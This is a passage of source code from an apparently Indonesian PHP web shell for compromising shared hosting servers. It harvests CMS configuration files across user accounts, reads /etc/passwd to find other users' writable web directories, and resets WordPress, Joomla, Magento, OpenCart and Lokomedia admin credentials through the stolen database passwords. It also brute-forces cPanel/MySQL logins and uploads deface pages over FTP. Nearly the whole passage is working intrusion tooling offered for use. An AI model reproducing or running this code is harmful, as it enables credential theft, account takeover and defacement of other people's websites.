  705.                         "/home/$user_ncok/public_html/Wp/configuration.php" => "JoomlaWp",
  706.                         "/home/$user_ncok/public_html/wp/configuration.php" => "JoomlaWp",
  707.                         "/home/$user_ncok/public_html/WP/configuration.php" => "JoomlaWP",
  708.                         "/home/$user_ncok/public_html/portal/configuration.php" => "JoomlaPortal",
  709.                         "/home/$user_ncok/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  710.                         "/home/$user_ncok/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  711.                         "/home/$user_ncok/public_html/wp-config.php" => "WordPress",
  712.                         "/home/$user_ncok/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  713.                         "/home/$user_ncok/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  714.                         "/home/$user_ncok/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  715.                         "/home/$user_ncok/public_html/Home/wp-config.php" => "WordPressHome",
  716.                         "/home/$user_ncok/public_html/HOME/wp-config.php" => "WordPressHome",
  717.                         "/home/$user_ncok/public_html/home/wp-config.php" => "WordPressHome",
  718.                         "/home/$user_ncok/public_html/NEW/wp-config.php" => "WordPressNew",
  719.                         "/home/$user_ncok/public_html/New/wp-config.php" => "WordPressNew",
  720.                         "/home/$user_ncok/public_html/new/wp-config.php" => "WordPressNew",
  721.                         "/home/$user_ncok/public_html/News/wp-config.php" => "WordPressNews",
  722.                         "/home/$user_ncok/public_html/NEWS/wp-config.php" => "WordPressNews",
  723.                         "/home/$user_ncok/public_html/news/wp-config.php" => "WordPressNews",
  724.                         "/home/$user_ncok/public_html/Cms/wp-config.php" => "WordPressCms",
  725.                         "/home/$user_ncok/public_html/CMS/wp-config.php" => "WordPressCms",
  726.                         "/home/$user_ncok/public_html/cms/wp-config.php" => "WordPressCms",
  727.                         "/home/$user_ncok/public_html/Main/wp-config.php" => "WordPressMain",
  728.                         "/home/$user_ncok/public_html/MAIN/wp-config.php" => "WordPressMain",
  729.                         "/home/$user_ncok/public_html/main/wp-config.php" => "WordPressMain",
  730.                         "/home/$user_ncok/public_html/Blog/wp-config.php" => "WordPressBlog",
  731.                         "/home/$user_ncok/public_html/BLOG/wp-config.php" => "WordPressBlog",
  732.                         "/home/$user_ncok/public_html/blog/wp-config.php" => "WordPressBlog",
  733.                         "/home/$user_ncok/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  734.                         "/home/$user_ncok/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  735.                         "/home/$user_ncok/public_html/blogs/wp-config.php" => "WordPressBlogs",
  736.                         "/home/$user_ncok/public_html/beta/wp-config.php" => "WordPressBeta",
  737.                         "/home/$user_ncok/public_html/Beta/wp-config.php" => "WordPressBeta",
  738.                         "/home/$user_ncok/public_html/BETA/wp-config.php" => "WordPressBeta",
  739.                         "/home/$user_ncok/public_html/PRESS/wp-config.php" => "WordPressPress",
  740.                         "/home/$user_ncok/public_html/Press/wp-config.php" => "WordPressPress",
  741.                         "/home/$user_ncok/public_html/press/wp-config.php" => "WordPressPress",
  742.                         "/home/$user_ncok/public_html/Wp/wp-config.php" => "WordPressWp",
  743.                         "/home/$user_ncok/public_html/wp/wp-config.php" => "WordPressWp",
  744.                         "/home/$user_ncok/public_html/WP/wp-config.php" => "WordPressWP",
  745.                         "/home/$user_ncok/public_html/portal/wp-config.php" => "WordPressPortal",
  746.                         "/home/$user_ncok/public_html/admin/koneksi.php" => "cms baru",
  747.                         "/home/$user_ncok/public_html/Portal/wp-config.php" => "WordPressPortal",
  748.                         "/home/$user_ncok/public_html/web/config/db.php" => "zeeb",
  749.                         "/home/$user_ncok/public_html/config/db.php" => "zeeb1",
  750.                         "/home/$user_ncok/public_html/application/config/database.php" => "Ellislab");
  751.                     foreach($grab_config as $config => $nama_config) {
  752.                         $ambil_config = file_get_contents($config);
  753.                         if($ambil_config == '') {
  754.                         } else {
  755.                             $file_config = fopen("ncok_config/$user_ncok-$nama_config.txt","w");
  756.                             fputs($file_config,$ambil_config);
  757.                         }
  758.                     }
  759.                 }      
  760.             }
  761.         }  
  762.     }
  763.     echo "<center><a href='?dir=$dir/ncok_config'><font color=cyan>Done</font></a></center>";
  764. } elseif($_GET['do'] == 'jumping') {
  765.     $i = 0;
  766.     echo "<div class='margin: 5px auto;'>";
  767.     if(preg_match("/hsphere/", $dir)) {
  768.         $urls = explode("\r\n", $_POST['url']);
  769.         if(isset($_POST['jump'])) {
  770.             echo "<pre>";
  771.             foreach($urls as $url) {
  772.                 $url = str_replace(array("http://","www."), "", strtolower($url));
  773.                 $etc = "/etc/passwd";
  774.                 $f = fopen($etc,"r");
  775.                 while($gets = fgets($f)) {
  776.                     $pecah = explode(":", $gets);
  777.                     $user = $pecah[0];
  778.                     $dir_user = "/hsphere/local/home/$user";
  779.                     if(is_dir($dir_user) === true) {
  780.                         $url_user = $dir_user."/".$url;
  781.                         if(is_readable($url_user)) {
  782.                             $i++;
  783.                             $jrw = "[<font color=orange>R</font>] <a href='?dir=$url_user'><font color=lime>$url_user</font></a>";
  784.                             if(is_writable($url_user)) {
  785.                                 $jrw = "[<font color=orange>RW</font>] <a href='?dir=$url_user'><font color=lime>$url_user</font></a>";
  786.                             }
  787.                             echo $jrw."<br>";
  788.                         }
  789.                     }
  790.                 }
  791.             }
  792.         if($i == 0) {
  793.         } else {
  794.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  795.         }
  796.         echo "</pre>";
  797.         } else {
  798.             echo '<center>
  799.                  <form method="post">
  800.                  List Domains: <br>
  801.                  <textarea name="url" style="width: 500px; height: 250px;">';
  802.             $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  803.             while($getss = fgets($fp)) {
  804.                 echo $getss;
  805.             }
  806.             echo  '</textarea><br>
  807.                  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  808.                  </form></center>';
  809.         }
  810.     } elseif(preg_match("/vhosts/", $dir)) {
  811.         $urls = explode("\r\n", $_POST['url']);
  812.         if(isset($_POST['jump'])) {
  813.             echo "<pre>";
  814.             foreach($urls as $url) {
  815.                 $web_vh = "/var/www/vhosts/$url/httpdocs";
  816.                 if(is_dir($web_vh) === true) {
  817.                     if(is_readable($web_vh)) {
  818.                         $i++;
  819.                         $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=lime>$web_vh</font></a>";
  820.                         if(is_writable($web_vh)) {
  821.                             $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=lime>$web_vh</font></a>";
  822.                         }
  823.                         echo $jrw."<br>";
  824.                     }
  825.                 }
  826.             }
  827.         if($i == 0) {
  828.         } else {
  829.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  830.         }
  831.         echo "</pre>";
  832.         } else {
  833.             echo '<center>
  834.                  <form method="post">
  835.                  List Domains: <br>
  836.                  <textarea name="url" style="width: 500px; height: 250px;">';
  837.                   bing("ip:$ip");
  838.             echo  '</textarea><br>
  839.                  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  840.                  </form></center>';
  841.         }
  842.     } else {
  843.         echo "<pre>";
  844.         $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  845.         while($passwd = fgets($etc)) {
  846.             if($passwd == '' || !$etc) {
  847.                 echo "<font color=red>Can't read /etc/passwd</font>";
  848.             } else {
  849.                 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  850.                 foreach($user_jumping[1] as $user_idx_jump) {
  851.                     $user_jumping_dir = "/home/$user_idx_jump/public_html";
  852.                     if(is_readable($user_jumping_dir)) {
  853.                         $i++;
  854.                         $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  855.                         if(is_writable($user_jumping_dir)) {
  856.                             $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  857.                         }
  858.                         echo $jrw;
  859.                         if(function_exists('posix_getpwuid')) {
  860.                             $domain_jump = file_get_contents("/etc/named.conf");  
  861.                             if($domain_jump == '') {
  862.                                 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  863.                             } else {
  864.                                 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  865.                                 foreach($domains_jump[1] as $dj) {
  866.                                     $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  867.                                     $user_jumping_url = $user_jumping_url['name'];
  868.                                     if($user_jumping_url == $user_idx_jump) {
  869.                                         echo " => ( <u>$dj</u> )<br>";
  870.                                         break;
  871.                                     }
  872.                                 }
  873.                             }
  874.                         } else {
  875.                             echo "<br>";
  876.                         }
  877.                     }
  878.                 }
  879.             }
  880.         }
  881.         if($i == 0) {
  882.         } else {
  883.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  884.         }
  885.         echo "</pre>";
  886.     }
  887.     echo "</div>";
  888. } elseif($_GET['do'] == 'auto_edit_user') {
  889.     if($_POST['hajar']) {
  890.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  891.             echo "username atau password harus lebih dari 6 karakter";
  892.         } else {
  893.             $user_baru = $_POST['user_baru'];
  894.             $pass_baru = md5($_POST['pass_baru']);
  895.             $conf = $_POST['config_dir'];
  896.             $scan_conf = scandir($conf);
  897.             foreach($scan_conf as $file_conf) {
  898.                 if(!is_file("$conf/$file_conf")) continue;
  899.                 $config = file_get_contents("$conf/$file_conf");
  900.                 if(preg_match("/JConfig|joomla/",$config)) {
  901.                     $dbhost = ambilkata($config,"host = '","'");
  902.                     $dbuser = ambilkata($config,"user = '","'");
  903.                     $dbpass = ambilkata($config,"password = '","'");
  904.                     $dbname = ambilkata($config,"db = '","'");
  905.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  906.                     $prefix = $dbprefix."users";
  907.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  908.                     $db = mysql_select_db($dbname);
  909.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  910.                     $result = mysql_fetch_array($q);
  911.                     $id = $result['id'];
  912.                     $site = ambilkata($config,"sitename = '","'");
  913.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  914.                     echo "Config => ".$file_conf."<br>";
  915.                     echo "CMS => Joomla<br>";
  916.                     if($site == '') {
  917.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  918.                     } else {
  919.                         echo "Sitename => $site<br>";
  920.                     }
  921.                     if(!$update OR !$conn OR !$db) {
  922.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  923.                     } else {
  924.                         echo "Status => <font color=cyan>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  925.                     }
  926.                     mysql_close($conn);
  927.                 } elseif(preg_match("/WordPress/",$config)) {
  928.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  929.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  930.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  931.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  932.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  933.                     $prefix = $dbprefix."users";
  934.                     $option = $dbprefix."options";
  935.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  936.                     $db = mysql_select_db($dbname);
  937.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  938.                     $result = mysql_fetch_array($q);
  939.                     $id = $result[ID];
  940.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  941.                     $result2 = mysql_fetch_array($q2);
  942.                     $target = $result2[option_value];
  943.                     if($target == '') {
  944.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  945.                     } else {
  946.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  947.                     }
  948.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  949.                     echo "Config => ".$file_conf."<br>";
  950.                     echo "CMS => Wordpress<br>";
  951.                     echo $url_target;
  952.                     if(!$update OR !$conn OR !$db) {
  953.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  954.                     } else {
  955.                         echo "Status => <font color=cyan>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  956.                     }
  957.                     mysql_close($conn);
  958.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  959.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  960.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  961.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  962.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  963.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  964.                     $prefix = $dbprefix."admin_user";
  965.                     $option = $dbprefix."core_config_data";
  966.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  967.                     $db = mysql_select_db($dbname);
  968.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  969.                     $result = mysql_fetch_array($q);
  970.                     $id = $result[user_id];
  971.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  972.                     $result2 = mysql_fetch_array($q2);
  973.                     $target = $result2[value];
  974.                     if($target == '') {
  975.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  976.                     } else {
  977.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  978.                     }
  979.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  980.                     echo "Config => ".$file_conf."<br>";
  981.                     echo "CMS => Magento<br>";
  982.                     echo $url_target;
  983.                     if(!$update OR !$conn OR !$db) {
  984.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  985.                     } else {
  986.                         echo "Status => <font color=cyan>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  987.                     }
  988.                     mysql_close($conn);
  989.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  990.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  991.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  992.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  993.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  994.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  995.                     $prefix = $dbprefix."user";
  996.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  997.                     $db = mysql_select_db($dbname);
  998.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  999.                     $result = mysql_fetch_array($q);
  1000.                     $id = $result[user_id];
  1001.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  1002.                     if($target == '') {
  1003.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1004.                     } else {
  1005.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1006.                     }
  1007.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1008.                     echo "Config => ".$file_conf."<br>";
  1009.                     echo "CMS => OpenCart<br>";
  1010.                     echo $url_target;
  1011.                     if(!$update OR !$conn OR !$db) {
  1012.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1013.                     } else {
  1014.                         echo "Status => <font color=cyan>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1015.                     }
  1016.                     mysql_close($conn);
  1017.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1018.                     $dbhost = ambilkata($config,'server = "','"');
  1019.                     $dbuser = ambilkata($config,'username = "','"');
  1020.                     $dbpass = ambilkata($config,'password = "','"');
  1021.                     $dbname = ambilkata($config,'database = "','"');
  1022.                     $prefix = "users";
  1023.                     $option = "identitas";
  1024.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1025.                     $db = mysql_select_db($dbname);
  1026.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1027.                     $result = mysql_fetch_array($q);
  1028.                     $target = $result[alamat_website];
  1029.                     if($target == '') {
  1030.                         $target2 = $result[url];
  1031.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1032.                         if($target2 == '') {
  1033.                             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1034.                         } else {
  1035.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  1036.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1037.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1038.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1039.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1040.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1041.                             } else {
  1042.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1043.                             }
  1044.                         }
  1045.                     } else {
  1046.                         $cek_login = file_get_contents("$target/adminweb/");
  1047.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1048.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1049.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1050.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1051.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1052.                         } else {
  1053.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1054.                         }
  1055.                     }
  1056.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1057.                     echo "Config => ".$file_conf."<br>";
  1058.                     echo "CMS => Lokomedia<br>";
  1059.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1060.                         echo $url_target2;
  1061.                     } else {
  1062.                         echo $url_target;
  1063.                     }
  1064.                     if(!$update OR !$conn OR !$db) {
  1065.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1066.                     } else {
  1067.                         echo "Status => <font color=cyan>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1068.                     }
  1069.                     mysql_close($conn);
  1070.                 }
  1071.             }
  1072.         }
  1073.     } else {
  1074.         echo "<center>
  1075.         <h1>Auto Edit User Config</h1>
  1076.         <hr>
  1077.         <form method='post'>
  1078.         DIR Config: <br>
  1079.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1080.         Set User & Pass: <br>
  1081.         <input type='text' name='user_baru' value='cuk' placeholder='user_baru'><br>
  1082.         <input type='text' name='pass_baru' value='cuk' placeholder='pass_baru'><br>
  1083.         <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1084.         </form>
  1085.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1086.         ";
  1087.     }
  1088. } elseif($_GET['do'] == 'cpanel') {
  1089.     if($_POST['crack']) {
  1090.         $usercp = explode("\r\n", $_POST['user_cp']);
  1091.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1092.         $i = 0;
  1093.         foreach($usercp as $ucp) {
  1094.             foreach($passcp as $pcp) {
  1095.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1096.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1097.                     } else {
  1098.                         $_SESSION[$ucp] = "1";
  1099.                         $_SESSION[$pcp] = "1";
  1100.                         if($ucp == '' || $pcp == '') {
  1101.                            
  1102.                         } else {
  1103.                             $i++;
  1104.                             if(function_exists('posix_getpwuid')) {
  1105.                                 $domain_cp = file_get_contents("/etc/named.conf"); 
  1106.                                 if($domain_cp == '') {
  1107.                                     $dom =  "<font color=red>gabisa ambil nama domain nya</font>";
  1108.                                 } else {
  1109.                                     preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  1110.                                     foreach($domains_cp[1] as $dj) {
  1111.                                         $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1112.                                         $user_cp_url = $user_cp_url['name'];
  1113.                                         if($user_cp_url == $ucp) {
  1114.                                             $dom = "<a href='http://$dj/' target='_blank'><font color=cyan>$dj</font></a>";
  1115.                                             break;
  1116.                                         }
  1117.                                     }
  1118.                                 }
  1119.                             } else {
  1120.                                 $dom = "<font color=red>function is Disable by system</font>";
  1121.                             }
  1122.                             echo "username (<font color=cyan>$ucp</font>) password (<font color=cyan>$pcp</font>) domain ($dom)<br>";
  1123.                         }
  1124.                     }
  1125.                 }
  1126.             }
  1127.         }
  1128.         if($i == 0) {
  1129.         } else {
  1130.             echo "<br>sukses nyolong ncuk ".$i." Cpanel by <font color=cyan>kamu ncuk</font>";
  1131.         }
  1132.     } else {
  1133.         echo "<center>
  1134.         <form method='post'>
  1135.         USER: <br>
  1136.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1137.         $_usercp = fopen("/etc/passwd","r");
  1138.         while($getu = fgets($_usercp)) {
  1139.             if($getu == '' || !$_usercp) {
  1140.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1141.             } else {
  1142.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1143.                 foreach($u[1] as $user_cp) {
  1144.                         if(is_dir("/home/$user_cp/public_html")) {
  1145.                             echo "$user_cp\n";
  1146.                     }
  1147.                 }
  1148.             }
  1149.         }
  1150.         echo "</textarea><br>
  1151.         PASS: <br>
  1152.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1153.         function cp_pass($dir) {
  1154.             $pass = "";
  1155.             $dira = scandir($dir);
  1156.             foreach($dira as $dirb) {
  1157.                 if(!is_file("$dir/$dirb")) continue;
  1158.                 $ambil = file_get_contents("$dir/$dirb");
  1159.                 if(preg_match("/WordPress/", $ambil)) {
  1160.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1161.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1162.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1163.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1164.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1165.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1166.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1167.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1168.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1169.                 } elseif(preg_match("/client/", $ambil)) {
  1170.                     preg_match("/password=(.*)/", $ambil, $pass1);
  1171.                     $pass .= $pass1[1]."\n";
  1172.                     if(preg_match('/"/', $pass1[1])) {
  1173.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1174.                         $pass .= $pass1[1]."\n";
  1175.                     }
  1176.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1177.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1178.                 }
  1179.             }
  1180.             echo $pass;
  1181.         }
  1182.         $cp_pass = cp_pass($dir);
  1183.         echo $cp_pass;
  1184.         echo "</textarea><br>
  1185.         <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1186.         </form>
  1187.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1188.     }
  1189. } elseif($_GET['do'] == 'cpftp_auto') {
  1190.     if($_POST['crack']) {
  1191.         $usercp = explode("\r\n", $_POST['user_cp']);
  1192.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1193.         $i = 0;
  1194.         foreach($usercp as $ucp) {
  1195.             foreach($passcp as $pcp) {
  1196.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1197.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1198.                     } else {
  1199.                         $_SESSION[$ucp] = "1";
  1200.                         $_SESSION[$pcp] = "1";
  1201.                         if($ucp == '' || $pcp == '') {
  1202.                             //
  1203.                         } else {
  1204.                             echo "[+] username (<font color=cyan>$ucp</font>) password (<font color=cyan>$pcp</font>)<br>";
  1205.                             $ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
  1206.                             $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
  1207.                             if((!$ftp_login) || (!$ftp_conn)) {
  1208.                                 echo "[+] <font color=red>Login Gagal</font><br><br>";
  1209.                             } else {
  1210.                                 echo "[+] <font color=cyan>Login Sukses</font><br>";
  1211.                                 $fi = htmlspecialchars($_POST['file_deface']);
  1212.                                 $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
  1213.                                 if($deface) {
  1214.                                     $i++;
  1215.                                     echo "[+] <font color=cyan>Deface Sukses</font><br>";
  1216.                                     if(function_exists('posix_getpwuid')) {
  1217.                                         $domain_cp = file_get_contents("/etc/named.conf"); 
  1218.                                         if($domain_cp == '') {
  1219.                                             echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  1220.                                         } else {
  1221.                                             preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  1222.                                             foreach($domains_cp[1] as $dj) {
  1223.                                                 $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1224.                                                 $user_cp_url = $user_cp_url['name'];
  1225.                                                 if($user_cp_url == $ucp) {
  1226.                                                     echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
  1227.                                                     break;
  1228.                                                 }
  1229.                                             }
  1230.                                         }
  1231.                                     } else {
  1232.                                         echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  1233.                                     }
  1234.                                 } else {
  1235.                                     echo "[-] <font color=red>Deface Gagal</font><br><br>";
  1236.                                 }
  1237.                             }
  1238.                             //echo "username (<font color=cyan>$ucp</font>) password (<font color=cyan>$pcp</font>)<br>";
  1239.                         }
  1240.                     }
  1241.                 }
  1242.             }
  1243.         }
  1244.         if($i == 0) {
  1245.         } else {
  1246.             echo "<br>sukses deface ncuk ".$i." Cpanel by <font color=cyan>kamu ncuk</font>";
  1247.         }
  1248.     } else {
  1249.         echo "<center>
  1250.         <form method='post'>
  1251.         Filename: <br>
  1252.         <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
  1253.         Deface Page: <br>
  1254.         <input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
  1255.         USER: <br>
  1256.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1257.         $_usercp = fopen("/etc/passwd","r");
  1258.         while($getu = fgets($_usercp)) {
  1259.             if($getu == '' || !$_usercp) {
  1260.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1261.             } else {
  1262.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1263.                 foreach($u[1] as $user_cp) {
  1264.                         if(is_dir("/home/$user_cp/public_html")) {
  1265.                             echo "$user_cp\n";
  1266.                     }
  1267.                 }
  1268.             }
  1269.         }
  1270.         echo "</textarea><br>
  1271.         PASS: <br>
  1272.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1273.         function cp_pass($dir) {
  1274.             $pass = "";
  1275.             $dira = scandir($dir);
  1276.             foreach($dira as $dirb) {
  1277.                 if(!is_file("$dir/$dirb")) continue;
  1278.                 $ambil = file_get_contents("$dir/$dirb");
  1279.                 if(preg_match("/WordPress/", $ambil)) {
  1280.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1281.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1282.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1283.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1284.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1285.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1286.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1287.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1288.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1289.                 } elseif(preg_match("/client/", $ambil)) {
  1290.                     preg_match("/password=(.*)/", $ambil, $pass1);
  1291.                     $pass .= $pass1[1]."\n";
  1292.                     if(preg_match('/"/', $pass1[1])) {
  1293.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1294.                         $pass .= $pass1[1]."\n";
  1295.                     }
  1296.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1297.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1298.                 }
  1299.             }
  1300.             echo $pass;
  1301.         }
  1302.         $cp_pass = cp_pass($dir);
  1303.         echo $cp_pass;
  1304.         echo "</textarea><br>
  1305.         <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
  1306.         </form>
